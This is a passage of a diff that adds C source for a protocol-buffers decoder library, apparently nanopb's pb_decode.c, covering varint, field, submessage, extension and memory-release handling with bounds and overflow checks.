PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +/******************** + * Helper functions * + ********************/ + +static bool checkreturn pb_decode_varint32_eof(pb_istream_t *stream, uint32_t *dest, bool *eof) +{ + pb_byte_t byte; + uint32_t result; + + if (!pb_readbyte(stream, &byte)) + { + if (stream->bytes_left == 0) + { + if (eof) + { + *eof = true; + } + } + + return false; + } + + if ((byte & 0x80) == 0) + { + /* Quick case, 1 byte value */ + result = byte; + } + else + { + /* Multibyte case */ + uint_fast8_t bitpos = 7; + result = byte & 0x7F; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 32) + { + /* Note: The varint could have trailing 0x80 bytes, or 0xFF for negative. */ + pb_byte_t sign_extension = (bitpos < 63) ? 0xFF : 0x01; + bool valid_extension = ((byte & 0x7F) == 0x00 || + ((result >> 31) != 0 && byte == sign_extension)); + + if (bitpos >= 64 || !valid_extension) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + } + else if (bitpos == 28) + { + if ((byte & 0x70) != 0 && (byte & 0x78) != 0x78) + { + PB_RETURN_ERROR(stream, "varint overflow"); + } + result |= (uint32_t)(byte & 0x0F) << bitpos; + } + else + { + result |= (uint32_t)(byte & 0x7F) << bitpos; + } + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + } + + *dest = result; + return true; +} + +bool checkreturn pb_decode_varint32(pb_istream_t *stream, uint32_t *dest) +{ + return pb_decode_varint32_eof(stream, dest, NULL); +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_decode_varint(pb_istream_t *stream, uint64_t *dest) +{ + pb_byte_t byte; + uint_fast8_t bitpos = 0; + uint64_t result = 0; + + do + { + if (!pb_readbyte(stream, &byte)) + return false; + + if (bitpos >= 63 && (byte & 0xFE) != 0) + PB_RETURN_ERROR(stream, "varint overflow"); + + result |= (uint64_t)(byte & 0x7F) << bitpos; + bitpos = (uint_fast8_t)(bitpos + 7); + } while (byte & 0x80); + + *dest = result; + return true; +} +#endif + +bool checkreturn pb_skip_varint(pb_istream_t *stream) +{ + pb_byte_t byte; + do + { + if (!pb_read(stream, &byte, 1)) + return false; + } while (byte & 0x80); + return true; +} + +bool checkreturn pb_skip_string(pb_istream_t *stream) +{ + uint32_t length; + if (!pb_decode_varint32(stream, &length)) + return false; + + if ((size_t)length != length) + { + PB_RETURN_ERROR(stream, "size too large"); + } + + return pb_read(stream, NULL, (size_t)length); +} + +bool checkreturn pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof) +{ + uint32_t temp; + *eof = false; + *wire_type = (pb_wire_type_t) 0; + *tag = 0; + + if (!pb_decode_varint32_eof(stream, &temp, eof)) + { + return false; + } + + *tag = temp >> 3; + *wire_type = (pb_wire_type_t)(temp & 7); + return true; +} + +bool checkreturn pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type) +{ + switch (wire_type) + { + case PB_WT_VARINT: return pb_skip_varint(stream); + case PB_WT_64BIT: return pb_read(stream, NULL, 8); + case PB_WT_STRING: return pb_skip_string(stream); + case PB_WT_32BIT: return pb_read(stream, NULL, 4); + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Read a raw value to buffer, for the purpose of passing it to callback as + * a substream. Size is maximum size on call, and actual size on return. + */ +static bool checkreturn read_raw_value(pb_istream_t *stream, pb_wire_type_t wire_type, pb_byte_t *buf, size_t *size) +{ + size_t max_size = *size; + switch (wire_type) + { + case PB_WT_VARINT: + *size = 0; + do + { + (*size)++; + if (*size > max_size) + PB_RETURN_ERROR(stream, "varint overflow"); + + if (!pb_read(stream, buf, 1)) + return false; + } while (*buf++ & 0x80); + return true; + + case PB_WT_64BIT: + *size = 8; + return pb_read(stream, buf, 8); + + case PB_WT_32BIT: + *size = 4; + return pb_read(stream, buf, 4); + + case PB_WT_STRING: + /* Calling read_raw_value with a PB_WT_STRING is an error. + * Explicitly handle this case and fallthrough to default to avoid + * compiler warnings. + */ + + default: PB_RETURN_ERROR(stream, "invalid wire_type"); + } +} + +/* Decode string length from stream and return a substream with limited length. + * Remember to close the substream using pb_close_string_substream(). + */ +bool checkreturn pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + uint32_t size; + if (!pb_decode_varint32(stream, &size)) + return false; + + *substream = *stream; + if (substream->bytes_left < size) + PB_RETURN_ERROR(stream, "parent stream too short"); + + substream->bytes_left = (size_t)size; + stream->bytes_left -= (size_t)size; + return true; +} + +bool checkreturn pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream) +{ + if (substream->bytes_left) { + if (!pb_read(substream, NULL, substream->bytes_left)) + return false; + } + + stream->state = substream->state; + +#ifndef PB_NO_ERRMSG + stream->errmsg = substream->errmsg; +#endif + return true; +} + +/************************* + * Decode a single field * + *************************/ + +static bool checkreturn decode_basic_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + if (wire_type != PB_WT_VARINT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_varint(stream, field); + + case PB_LTYPE_FIXED32: + if (wire_type != PB_WT_32BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_decode_fixed32(stream, field->pData); + + case PB_LTYPE_FIXED64: + if (wire_type != PB_WT_64BIT && wire_type != PB_WT_PACKED) + PB_RETURN_ERROR(stream, "wrong wire type"); + +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float)) + { + return pb_decode_double_as_float(stream, (float*)field->pData); + } +#endif + +#ifdef PB_WITHOUT_64BIT + PB_RETURN_ERROR(stream, "invalid data_size"); +#else + return pb_decode_fixed64(stream, field->pData); +#endif + + case PB_LTYPE_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_bytes(stream, field); + + case PB_LTYPE_STRING: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + if (wire_type != PB_WT_STRING) + PB_RETURN_ERROR(stream, "wrong wire type"); + + return pb_dec_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_OPTIONAL: + if (field->pSize != NULL) + *(bool*)field->pSize = true; + return decode_basic_field(stream, wire_type, field); + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array */ + bool status = true; + pb_istream_t substream; + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left > 0 && *size < field->array_size) + { + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + (*size)++; + field->pData = (char*)field->pData + field->data_size; + } + + if (substream.bytes_left != 0) + PB_RETURN_ERROR(stream, "array overflow"); + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Repeated field */ + pb_size_t *size = (pb_size_t*)field->pSize; + field->pData = (char*)field->pField + field->data_size * (*size); + + if ((*size)++ >= field->array_size) + PB_RETURN_ERROR(stream, "array overflow"); + + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && + *(pb_size_t*)field->pSize != field->tag) + { + /* We memset to zero so that any callbacks are set to NULL. + * This is because the callbacks might otherwise have values + * from some other union field. + * If callbacks are needed inside oneof field, use .proto + * option submsg_callback to have a separate callback function + * that can set the fields before submessage is decoded. + * pb_dec_submessage() will set any default values. */ + memset(field->pData, 0, (size_t)field->data_size); + + /* Set default values for the submessage fields. */ + if (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL) + { + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + } + *(pb_size_t*)field->pSize = field->tag; + + return decode_basic_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +#ifdef PB_ENABLE_MALLOC +/* Allocate storage for the field and store the pointer at iter->pData. + * array_size is the number of entries to reserve in an array. + * Zero size is not allowed, use pb_free() for releasing. + */ +static bool checkreturn allocate_field(pb_istream_t *stream, void *pData, size_t data_size, size_t array_size) +{ + void *ptr = *(void**)pData; + + if (data_size == 0 || array_size == 0) + PB_RETURN_ERROR(stream, "invalid size"); + +#ifdef __AVR__ + /* Workaround for AVR libc bug 53284: http://savannah.nongnu.org/bugs/?53284 + * Realloc to size of 1 byte can cause corruption of the malloc structures. + */ + if (data_size == 1 && array_size == 1) + { + data_size = 2; + } +#endif + + /* Check for multiplication overflows. + * This code avoids the costly division if the sizes are small enough. + * Multiplication is safe as long as only half of bits are set + * in either multiplicand. + */ + { + const size_t check_limit = (size_t)1 << (sizeof(size_t) * 4); + if (data_size >= check_limit || array_size >= check_limit) + { + const size_t size_max = (size_t)-1; + if (size_max / array_size < data_size) + { + PB_RETURN_ERROR(stream, "size too large"); + } + } + } + + /* Allocate new or expand previous allocation */ + /* Note: on failure the old pointer will remain in the structure, + * the message must be freed by caller also on error return. */ + ptr = pb_realloc(ptr, array_size * data_size); + if (ptr == NULL) + PB_RETURN_ERROR(stream, "realloc failed"); + + *(void**)pData = ptr; + return true; +} + +/* Clear a newly allocated item in case it contains a pointer, or is a submessage. */ +static void initialize_pointer_field(void *pItem, pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + *(void**)pItem = NULL; + } + else if (PB_LTYPE_IS_SUBMSG(field->type)) + { + /* We memset to zero so that any callbacks are set to NULL. + * Default values will be set by pb_dec_submessage(). */ + memset(pItem, 0, field->data_size); + } +} +#endif + +static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifndef PB_ENABLE_MALLOC + PB_UNUSED(wire_type); + PB_UNUSED(field); + PB_RETURN_ERROR(stream, "no malloc support"); +#else + switch (PB_HTYPE(field->type)) + { + case PB_HTYPE_REQUIRED: + case PB_HTYPE_OPTIONAL: + case PB_HTYPE_ONEOF: + if (PB_LTYPE_IS_SUBMSG(field->type) && *(void**)field->pField != NULL) + { + /* Duplicate field, have to release the old allocation first. */ + /* FIXME: Does this work correctly for oneofs? */ + pb_release_single_field(field); + } + + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = field->tag; + } + + if (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES) + { + /* pb_dec_string and pb_dec_bytes handle allocation themselves */ + field->pData = field->pField; + return decode_basic_field(stream, wire_type, field); + } + else + { + if (!allocate_field(stream, field->pField, field->data_size, 1)) + return false; + + field->pData = *(void**)field->pField; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + case PB_HTYPE_REPEATED: + if (wire_type == PB_WT_STRING + && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Packed array, multiple items come in at once. */ + bool status = true; + pb_size_t *size = (pb_size_t*)field->pSize; + size_t allocated_size = *size; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + while (substream.bytes_left) + { + if (*size == PB_SIZE_MAX) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = "too many array entries"; +#endif + status = false; + break; + } + + if ((size_t)*size + 1 > allocated_size) + { + /* Allocate more storage. This tries to guess the + * number of remaining entries. Round the division + * upwards. */ + size_t remain = (substream.bytes_left - 1) / field->data_size + 1; + if (remain < PB_SIZE_MAX - allocated_size) + allocated_size += remain; + else + allocated_size += 1; + + if (!allocate_field(&substream, field->pField, field->data_size, allocated_size)) + { + status = false; + break; + } + } + + /* Decode the array entry */ + field->pData = *(char**)field->pField + field->data_size * (*size); + if (field->pData == NULL) + { + /* Shouldn't happen, but satisfies static analyzers */ + status = false; + break; + } + initialize_pointer_field(field->pData, field); + if (!decode_basic_field(&substream, PB_WT_PACKED, field)) + { + status = false; + break; + } + + (*size)++; + } + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; + } + else + { + /* Normal repeated field, i.e. only one item at a time. */ + pb_size_t *size = (pb_size_t*)field->pSize; + + if (*size == PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "too many array entries"); + + if (!allocate_field(stream, field->pField, field->data_size, (size_t)(*size + 1))) + return false; + + field->pData = *(char**)field->pField + field->data_size * (*size); + (*size)++; + initialize_pointer_field(field->pData, field); + return decode_basic_field(stream, wire_type, field); + } + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +#endif +} + +static bool checkreturn decode_callback_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ + if (!field->descriptor->field_callback) + return pb_skip_field(stream, wire_type); + + if (wire_type == PB_WT_STRING) + { + pb_istream_t substream; + size_t prev_bytes_left; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + do + { + prev_bytes_left = substream.bytes_left; + if (!field->descriptor->field_callback(&substream, NULL, field)) + { + PB_SET_ERROR(stream, substream.errmsg ? substream.errmsg : "callback failed"); + return false; + } + } while (substream.bytes_left > 0 && substream.bytes_left < prev_bytes_left); + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return true; + } + else + { + /* Copy the single scalar value to stack. + * This is required so that we can limit the stream length, + * which in turn allows to use same callback for packed and + * not-packed fields. */ + pb_istream_t substream; + pb_byte_t buffer[10]; + size_t size = sizeof(buffer); + + if (!read_raw_value(stream, wire_type, buffer, &size)) + return false; + substream = pb_istream_from_buffer(buffer, size); + + return field->descriptor->field_callback(&substream, NULL, field); + } +} + +static bool checkreturn decode_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field) +{ +#ifdef PB_ENABLE_MALLOC + /* When decoding an oneof field, check if there is old data that must be + * released first. */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (!pb_release_union_field(stream, field)) + return false; + } +#endif + + switch (PB_ATYPE(field->type)) + { + case PB_ATYPE_STATIC: + return decode_static_field(stream, wire_type, field); + + case PB_ATYPE_POINTER: + return decode_pointer_field(stream, wire_type, field); + + case PB_ATYPE_CALLBACK: + return decode_callback_field(stream, wire_type, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_decoder(pb_istream_t *stream, + pb_extension_t *extension, uint32_t tag, pb_wire_type_t wire_type) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + if (iter.tag != tag || !iter.message) + return true; + + extension->found = true; + return decode_field(stream, wire_type, &iter); +} + +/* Try to decode an unknown field as an extension field. Tries each extension + * decoder in turn, until one of them handles the field or loop ends. */ +static bool checkreturn decode_extension(pb_istream_t *stream, + uint32_t tag, pb_wire_type_t wire_type, pb_extension_t *extension) +{ + size_t pos = stream->bytes_left; + + while (extension != NULL && pos == stream->bytes_left) + { + bool status; + if (extension->type->decode) + status = extension->type->decode(stream, extension, tag, wire_type); + else + status = default_extension_decoder(stream, extension, tag, wire_type); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/* Initialize message fields to default values, recursively */ +static bool pb_field_set_to_default(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + pb_extension_t *ext = *(pb_extension_t* const *)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + ext->found = false; + if (!pb_message_set_to_defaults(&ext_iter)) + return false; + } + ext = ext->next; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + bool init_data = true; + if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Set has_field to false. Still initialize the optional field + * itself also. */ + *(bool*)field->pSize = false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* REPEATED: Set array count to 0, no need to initialize contents. + ONEOF: Set which_field to 0. */ + *(pb_size_t*)field->pSize = 0; + init_data = false; + } + + if (init_data) + { + if (PB_LTYPE_IS_SUBMSG(field->type) && + (field->submsg_desc->default_value != NULL || + field->submsg_desc->field_callback != NULL || + field->submsg_desc->submsg_info[0] != NULL)) + { + /* Initialize submessage to defaults. + * Only needed if it has default values + * or callback/submessage fields. */ + pb_field_iter_t submsg_iter; + if (pb_field_iter_begin(&submsg_iter, field->submsg_desc, field->pData)) + { + if (!pb_message_set_to_defaults(&submsg_iter)) + return false; + } + } + else + { + /* Initialize to zeros */ + memset(field->pData, 0, (size_t)field->data_size); + } + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL. */ + *(void**)field->pField = NULL; + + /* Initialize array count to 0. */ + if (PB_HTYPE(type) == PB_HTYPE_REPEATED || + PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + *(pb_size_t*)field->pSize = 0; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + /* Don't overwrite callback */ + } + + return true; +} + +static bool pb_message_set_to_defaults(pb_field_iter_t *iter) +{ + pb_istream_t defstream = PB_ISTREAM_EMPTY; + uint32_t tag = 0; + pb_wire_type_t wire_type = PB_WT_VARINT; + bool eof; + + if (iter->descriptor->default_value) + { + defstream = pb_istream_from_buffer(iter->descriptor->default_value, (size_t)-1); + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + } + + do + { + if (!pb_field_set_to_default(iter)) + return false; + + if (tag != 0 && iter->tag == tag) + { + /* We have a default value for this field in the defstream */ + if (!decode_field(&defstream, wire_type, iter)) + return false; + if (!pb_decode_tag(&defstream, &wire_type, &tag, &eof)) + return false; + + if (iter->pSize) + *(bool*)iter->pSize = false; + } + } while (pb_field_iter_next(iter)); + + return true; +} + +/********************* + * Decode all fields * + *********************/ + +static bool checkreturn pb_decode_inner(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + uint32_t extension_range_start = 0; + pb_extension_t *extensions = NULL; + + /* 'fixed_count_field' and 'fixed_count_size' track position of a repeated fixed + * count field. This can only handle _one_ repeated fixed count field that + * is unpacked and unordered among other (non repeated fixed count) fields. + */ + pb_size_t fixed_count_field = PB_SIZE_MAX; + pb_size_t fixed_count_size = 0; + pb_size_t fixed_count_total_size = 0; + + pb_fields_seen_t fields_seen = {{0, 0}}; + const uint32_t allbits = ~(uint32_t)0; + pb_field_iter_t iter; + + if (pb_field_iter_begin(&iter, fields, dest_struct)) + { + if ((flags & PB_DECODE_NOINIT) == 0) + { + if (!pb_message_set_to_defaults(&iter)) + PB_RETURN_ERROR(stream, "failed to set defaults"); + } + } + + while (stream->bytes_left) + { + uint32_t tag; + pb_wire_type_t wire_type; + bool eof; + + if (!pb_decode_tag(stream, &wire_type, &tag, &eof)) + { + if (eof) + break; + else + return false; + } + + if (tag == 0) + { + if (flags & PB_DECODE_NULLTERMINATED) + { + break; + } + else + { + PB_RETURN_ERROR(stream, "zero tag"); + } + } + + if (!pb_field_iter_find(&iter, tag) || PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* No match found, check if it matches an extension. */ + if (extension_range_start == 0) + { + if (pb_field_iter_find_extension(&iter)) + { + extensions = *(pb_extension_t* const *)iter.pData; + extension_range_start = iter.tag; + } + + if (!extensions) + { + extension_range_start = (uint32_t)-1; + } + } + + if (tag >= extension_range_start) + { + size_t pos = stream->bytes_left; + + if (!decode_extension(stream, tag, wire_type, extensions)) + return false; + + if (pos != stream->bytes_left) + { + /* The field was handled */ + continue; + } + } + + /* No match found, skip data */ + if (!pb_skip_field(stream, wire_type)) + return false; + continue; + } + + /* If a repeated fixed count field was found, get size from + * 'fixed_count_field' as there is no counter contained in the struct. + */ + if (PB_HTYPE(iter.type) == PB_HTYPE_REPEATED && iter.pSize == &iter.array_size) + { + if (fixed_count_field != iter.index) { + /* If the new fixed count field does not match the previous one, + * check that the previous one is NULL or that it finished + * receiving all the expected data. + */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + fixed_count_field = iter.index; + fixed_count_size = 0; + fixed_count_total_size = iter.array_size; + } + + iter.pSize = &fixed_count_size; + } + + if (PB_HTYPE(iter.type) == PB_HTYPE_REQUIRED + && iter.required_field_index < PB_MAX_REQUIRED_FIELDS) + { + uint32_t tmp = ((uint32_t)1 << (iter.required_field_index & 31)); + fields_seen.bitfield[iter.required_field_index >> 5] |= tmp; + } + + if (!decode_field(stream, wire_type, &iter)) + return false; + } + + /* Check that all elements of the last decoded fixed count field were present. */ + if (fixed_count_field != PB_SIZE_MAX && + fixed_count_size != fixed_count_total_size) + { + PB_RETURN_ERROR(stream, "wrong size for fixed count field"); + } + + /* Check that all required fields were present. */ + { + pb_size_t req_field_count = iter.descriptor->required_field_count; + + if (req_field_count > 0) + { + pb_size_t i; + + if (req_field_count > PB_MAX_REQUIRED_FIELDS) + req_field_count = PB_MAX_REQUIRED_FIELDS; + + /* Check the whole words */ + for (i = 0; i < (req_field_count >> 5); i++) + { + if (fields_seen.bitfield[i] != allbits) + PB_RETURN_ERROR(stream, "missing required field"); + } + + /* Check the remaining bits (if any) */ + if ((req_field_count & 31) != 0) + { + if (fields_seen.bitfield[req_field_count >> 5] != + (allbits >> (uint_least8_t)(32 - (req_field_count & 31)))) + { + PB_RETURN_ERROR(stream, "missing required field"); + } + } + } + } + + return true; +} + +bool checkreturn pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags) +{ + bool status; + + if ((flags & PB_DECODE_DELIMITED) == 0) + { + status = pb_decode_inner(stream, fields, dest_struct, flags); + } + else + { + pb_istream_t substream; + if (!pb_make_string_substream(stream, &substream)) + return false; + + status = pb_decode_inner(&substream, fields, dest_struct, flags); + + if (!pb_close_string_substream(stream, &substream)) + status = false; + } + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +bool checkreturn pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct) +{ + bool status; + + status = pb_decode_inner(stream, fields, dest_struct, 0); + +#ifdef PB_ENABLE_MALLOC + if (!status) + pb_release(fields, dest_struct); +#endif + + return status; +} + +#ifdef PB_ENABLE_MALLOC +/* Given an oneof field, if there has already been a field inside this oneof, + * release it before overwriting with a different one. */ +static bool pb_release_union_field(pb_istream_t *stream, pb_field_iter_t *field) +{ + pb_field_iter_t old_field = *field; + pb_size_t old_tag = *(pb_size_t*)field->pSize; /* Previous which_ value */ + pb_size_t new_tag = field->tag; /* New which_ value */ + + if (old_tag == 0) + return true; /* Ok, no old data in union */ + + if (old_tag == new_tag) + return true; /* Ok, old data is of same type => merge */ + + /* Release old data. The find can fail if the message struct contains + * invalid data. */ + if (!pb_field_iter_find(&old_field, old_tag)) + PB_RETURN_ERROR(stream, "invalid union tag"); + + pb_release_single_field(&old_field); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + /* Initialize the pointer to NULL to make sure it is valid + * even in case of error return. */ + *(void**)field->pField = NULL; + field->pData = NULL; + } + + return true; +} + +static void pb_release_single_field(pb_field_iter_t *field) +{ + pb_type_t type; + type = field->type; + + if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + if (*(pb_size_t*)field->pSize != field->tag) + return; /* This is not the current field in the union */ + } + + /* Release anything contained inside an extension or submsg. + * This has to be done even if the submsg itself is statically + * allocated. */ + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + /* Release fields from all extensions in the linked list */ + pb_extension_t *ext = *(pb_extension_t**)field->pData; + while (ext != NULL) + { + pb_field_iter_t ext_iter; + if (pb_field_iter_begin_extension(&ext_iter, ext)) + { + pb_release_single_field(&ext_iter); + } + ext = ext->next; + } + } + else if (PB_LTYPE_IS_SUBMSG(type) && PB_ATYPE(type) != PB_ATYPE_CALLBACK) + { + /* Release fields in submessage or submsg array */ + pb_size_t count = 1; + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + field->pData = *(void**)field->pField; + } + else + { + field->pData = field->pField; + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + count = *(pb_size_t*)field->pSize; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC && count > field->array_size) + { + /* Protect against corrupted _count fields */ + count = field->array_size; + } + } + + if (field->pData) + { + for (; count > 0; count--) + { + pb_release(field->submsg_desc, field->pData); + field->pData = (char*)field->pData + field->data_size; + } + } + } + + if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + if (PB_HTYPE(type) == PB_HTYPE_REPEATED && + (PB_LTYPE(type) == PB_LTYPE_STRING || + PB_LTYPE(type) == PB_LTYPE_BYTES)) + { + /* Release entries in repeated string or bytes array */ + void **pItem = *(void***)field->pField; + pb_size_t count = *(pb_size_t*)field->pSize; + for (; count > 0; count--) + { + pb_free(*pItem); + *pItem++ = NULL; + } + } + + if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* We are going to release the array, so set the size to 0 */ + *(pb_size_t*)field->pSize = 0; + } + + /* Release main pointer */ + pb_free(*(void**)field->pField); + *(void**)field->pField = NULL; + } +} + +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + pb_field_iter_t iter; + + if (!dest_struct) + return; /* Ignore NULL pointers, similar to free() */ + + if (!pb_field_iter_begin(&iter, fields, dest_struct)) + return; /* Empty message type */ + + do + { + pb_release_single_field(&iter); + } while (pb_field_iter_next(&iter)); +} +#else +void pb_release(const pb_msgdesc_t *fields, void *dest_struct) +{ + /* Nothing to release without PB_ENABLE_MALLOC. */ + PB_UNUSED(fields); + PB_UNUSED(dest_struct); +} +#endif + +/* Field decoders */ + +bool pb_decode_bool(pb_istream_t *stream, bool *dest) +{ + uint32_t value; + if (!pb_decode_varint32(stream, &value)) + return false; + + *(bool*)dest = (value != 0); + return true; +} + +bool pb_decode_svarint(pb_istream_t *stream, pb_int64_t *dest) +{ + pb_uint64_t value; + if (!pb_decode_varint(stream, &value)) + return false; + + if (value & 1) + *dest = (pb_int64_t)(~(value >> 1)); + else + *dest = (pb_int64_t)(value >> 1); + + return true; +} + +bool pb_decode_fixed32(pb_istream_t *stream, void *dest) +{ + union { + uint32_t fixed32; + pb_byte_t bytes[4]; + } u; + + if (!pb_read(stream, u.bytes, 4)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint32_t*)dest = u.fixed32; +#else + *(uint32_t*)dest = ((uint32_t)u.bytes[0] << 0) | + ((uint32_t)u.bytes[1] << 8) | + ((uint32_t)u.bytes[2] << 16) | + ((uint32_t)u.bytes[3] << 24); +#endif + return true; +} + +#ifndef PB_WITHOUT_64BIT +bool pb_decode_fixed64(pb_istream_t *stream, void *dest) +{ + union { + uint64_t fixed64; + pb_byte_t bytes[8]; + } u; + + if (!pb_read(stream, u.bytes, 8)) + return false; + +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* fast path - if we know that we're on little endian, assign directly */ + *(uint64_t*)dest = u.fixed64; +#else + *(uint64_t*)dest = ((uint64_t)u.bytes[0] << 0) | + ((uint64_t)u.bytes[1] << 8) | + ((uint64_t)u.bytes[2] << 16) | + ((uint64_t)u.bytes[3] << 24) | + ((uint64_t)u.bytes[4] << 32) | + ((uint64_t)u.bytes[5] << 40) | + ((uint64_t)u.bytes[6] << 48) | + ((uint64_t)u.bytes[7] << 56); +#endif + return true; +} +#endif + +static bool checkreturn pb_dec_bool(pb_istream_t *stream, const pb_field_iter_t *field) +{ + return pb_decode_bool(stream, (bool*)field->pData); +} + +static bool checkreturn pb_dec_varint(pb_istream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + pb_uint64_t value, clamped; + if (!pb_decode_varint(stream, &value)) + return false; + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_uint64_t)) + clamped = *(pb_uint64_t*)field->pData = value; + else if (field->data_size == sizeof(uint32_t)) + clamped = *(uint32_t*)field->pData = (uint32_t)value; + 